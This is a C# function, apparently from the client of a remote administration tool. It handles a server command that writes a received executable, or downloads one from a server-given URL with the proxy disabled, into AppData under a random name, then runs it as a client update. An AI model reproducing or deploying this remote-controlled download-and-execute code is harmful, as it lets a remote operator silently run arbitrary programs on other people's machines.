public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadURL)) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') { throw new Exception("No executable file"); } FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished { new Packets.ClientPackets.SetStatus("Updating...").Execute(client); SystemCore.UpdateClient(client, filePath); } } catch (Exception ex) { NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); } return; } new Thread(() => { new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), FileHelper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.DownloadURL, tempFile); } } catch { new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Updating...").Execute(client); SystemCore.UpdateClient(client, tempFile); }).Start(); }